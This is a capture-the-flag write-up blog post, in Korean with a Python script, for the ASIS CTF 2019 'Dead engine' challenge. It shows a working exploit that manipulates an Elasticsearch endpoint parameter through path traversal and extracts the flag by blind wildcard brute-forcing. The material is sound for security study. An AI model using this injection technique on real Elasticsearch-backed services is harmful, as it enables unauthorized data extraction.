[ASIS CTF] Elasticsearch NoSQL Injection

2019-04-28   |   by munsiwoo
import requests
# Elasticsearch NoSQL Injection - ASIS 2019
# made by munsiwoo

if __name__ == '__main__' :
    url = 'http://192.241.183.207/index.php?action'
    headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'}
    data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'

    flag = '?'*32
    flag = 'x'.join(flag).split('x') # flag length : 32

    for x in range(32) :
        for y in 'abcdef0123456789' :
            flag[x] = y
            result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
            if 'Flag Is Here, Grab it :)' in result :
                break
            print('ASIS{' + ''.join(flag) + '}')

    print('----------------------')
    print("flag : ASIS{" + ''.join(flag) + '}')
    print('----------------------')


ASIS CTF의 Dead engine 문제다. 엘라스틱서치 환경에서 sqli을 통해 플래그를 얻는 문제며 엘라스틱서치 인젝션은 처음이라 열심히 검색해서 풀었다. 언젠가 다시 만날 엘라스틱서치 인젝션 문제를 위해 페이로드 저장겸 올려본다.

백엔드는 PHP + 엘라스틱서치 조합이고, 사용자 입력은 POST메소드로 qendpoint이렇게 2개의 입력을 받는다. q=abcd&endpoint=/articles/_search 이렇게 요청하면 백엔드에서는 엘라스틱서치가 열려있는 9300포트로 http://localhost:9300/articles/_search?q=abcd 이런식으로 접근하여 검색 결과를 가져오는 구조였다.

즉, http://localhost:9300{endpoint}?q={q} 이렇게 입력한 값이 들어가며 endpoint를 조작해주면 “/articles/_search” 말고 다른 테이블에 접근이 가능했다. _cat 키워드로 다른 테이블명, 테이블 존재 유무를 확인할 수 있고 _all/\_search를 이용하면 특정 테이블명을 모르더라도 모든 테이블을 대상으로 검색할 수 있다.
나는 와일드카드 ?로 개수를 맞춰 Flag Is Here, Grab it :)가 출력되는 결과에 따라 참, 거짓으로 구분해 blind sqli로 플래그를 얻었다.

About Post Author

munsiwoo

CTFer, Web application bug hunter

Leave Your Comment